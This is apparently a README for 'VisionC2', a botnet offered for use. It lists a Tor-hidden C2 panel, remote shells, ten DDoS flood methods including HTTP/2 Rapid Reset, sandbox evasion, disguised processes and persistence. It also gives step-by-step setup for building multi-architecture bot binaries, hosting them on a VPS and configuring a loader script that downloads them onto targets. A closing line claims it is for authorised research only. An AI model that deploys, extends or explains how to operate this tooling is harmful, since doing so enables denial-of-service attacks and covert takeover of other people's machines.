Dual-encrypted (TLS/AES), Tor-routed botnet with remote shells and multi-vector attacks spanning 14 Linux architectures
Video Showcasing Full Features + Installation
Three control options: Tor hidden service web panel, Go TUI, or Telnet CLI. The Tor panel works from any browser without clearnet exposure.
TLS 1.3 over port 443. SOCKS5 proxy support with multi-relay failover and auto-reconnect. Backconnect relay keeps C2 infrastructure hidden.
10 DDoS vectors across L4/L7: UDP/TCP/SYN/ACK/GRE/DNS floods, HTTP/HTTPS request floods, Cloudflare bypass, HTTP/2 Rapid Reset (CVE-2023-44487). Proxy support on all L7 methods.
Shell access with full output capture and Linux shortcuts. Post-exploit helpers included.
VM/sandbox detection (40+ signatures), string encryption (AES-128-CTR), obfuscated C2 address (6-layer decoding), custom UPX packing.
Systemd, cron watchdog, and rc.local. Fork+setsid daemonization with disguised process names and PID lock.
HMAC registration with MD5 challenge-response and per-campaign sync tokens.
cnc/ — C2 server with dual listeners: TLS on 443 for bot connections, embedded Tor service for web panel. Includes interactive TUI and optional Telnet CLI. RBAC with four permission tiers configured in users.json.
bot/ — Agent binary. Connects over TLS 1.3 after decoding config, daemonizing, checking for sandboxes, installing persistence, and resolving C2 address.
relay/ — SOCKS5 relay server. Bots connect to relay via TLS, users connect to relay's SOCKS5 port. Disposable infrastructure component.
# Install requirements
sudo apt update && apt install -y openssl git wget gcc python3 screen tor
# Install Go 1.24+
wget https://go.dev/dl/go1.24.1.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.24.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/binRequirements: 512MB RAM, 1GB storage, port 443 open
Recommended: Ubuntu 22.04+, 2GB+ RAM
git clone https://github.com/Syn2Much/VisionC2.git && cd VisionC2
python3 setup.py # Select [1] Full SetupThe setup wizard prompts for C2 address, admin port (default 420), and TLS cert details. Outputs:
bins/— 14 bot binaries (multi-arch)cnc/certificates/— server.crt + server.keyserver— CNC binarysetup_config.txt— Config summary
To change C2 address later: python3 setup.py → option [2]. Redeploy bots afterward.
./server # interactive launcher
./server --tui # TUI mode only
./server --split # Telnet mode on port 420
./server --daemon # Telnet headlessRun in background: screen -S vision ./server (detach with Ctrl+A, D).
Host binaries on separate VPS:
sudo apt install -y apache2
sudo cp bins/* /var/www/html/bins/
sudo systemctl start apache2Edit loader.sh line 3 with your server IP:
SRV="http://<your-server-ip>/bins"The loader detects target architecture and downloads the matching binary.
- UDP Flood — High-volume 1024-byte payloads
- TCP Flood — Connection table exhaustion
- SYN Flood — Randomized source ports (raw TCP)
- ACK Flood — ACK packet spam (raw TCP)
- GRE Flood — Protocol 47, max payload
- DNS Flood — Randomized query types, reflection
- HTTP Flood — GET/POST with randomized headers + user-agents
- HTTPS/TLS Flood — TLS handshake exhaustion + burst requests
- CF Bypass — Cloudflare bypass via session/cookie reuse + fingerprinting
- Rapid Reset — HTTP/2 exploit (CVE-2023-44487), HEADERS + RST_STREAM
- Proxy Support — HTTP + SOCKS5 proxy integration on all L7 methods
ARCHITECTURE.md— System architecture detailsCHANGELOG.md— Version historyCOMMANDS.md— Command referenceSETUP.md— Setup guidePROXY.md— SOCKS5 relay deployment
Q: "go: command not found" or Go version is wrong
# Make sure Go is properly installed and in PATH
export PATH=$PATH:/usr/local/go/bin
go version # Should show 1.24+Q: "Permission denied" when starting server on port 443
# Give the binary permission to bind privileged ports
sudo setcap 'cap_net_bind_service=+ep' ./serverQ: Bots won't connect to C2
- Check firewall:
sudo ufw allow 443/tcp - Verify C2 address in
setup_config.txtmatches your server - Test TLS connection:
openssl s_client -connect YOUR_IP:443 - Check server logs for connection attempts
Q: "No such file or directory" errors during build
# Install missing dependencies
sudo apt install -y build-essential gcc python3-devQ: Setup script crashes or produces weird errors
# Clean install on fresh Ubuntu/Debian system
sudo apt update && apt upgrade -y
# Then retry setupQ: Relay server won't start
- Check if ports 9001/1080 are available:
netstat -tulpn | grep :9001 - Verify relay_server has execute permissions:
chmod +x relay_server
For authorized security research and educational purposes only. Usage against targets without prior consent is illegal. Developer assumes no liability for misuse.
Syn2Much — hell@sinners.city | @synacket